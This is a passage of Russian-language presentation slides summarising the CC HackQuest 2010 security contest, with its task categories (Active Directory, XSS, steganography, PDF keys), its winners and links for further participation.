    Тонкости MicrosoftActive Directory CC HackQuest 2010: Задание # 1 2
  • 45.
    Тонкости MicrosoftActive Directory CC HackQuest 2010: Задание # 1 2
  • 46.
    IPv6, WiFi, заданиес использованием Cross-Site Scripting, стеганография, задания на поиск ключа в PDF и др. Всего игровая инфраструктура содержала 21 ключ . CC HackQuest 2010: Другие задания
  • 47.
    CC HackQuest 2010: Победители I. RDOT.org (8 заданий) II. Andrey 1800 (4 задания) III. nucro (4 задания) III. neweagle (4 задания)
  • 48.
    CC HackQuest 2010: Вместо заключения Что дальше ? Выполните практическое занятие Участвуйте online http://www.securitylab.ru/hq2010 И еще немного ссылок : http://cc.org.ru/ http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html
  • 49.
    Спасибо за внимание!Вопросы ? [email_address] http://devteev.blogspot.com/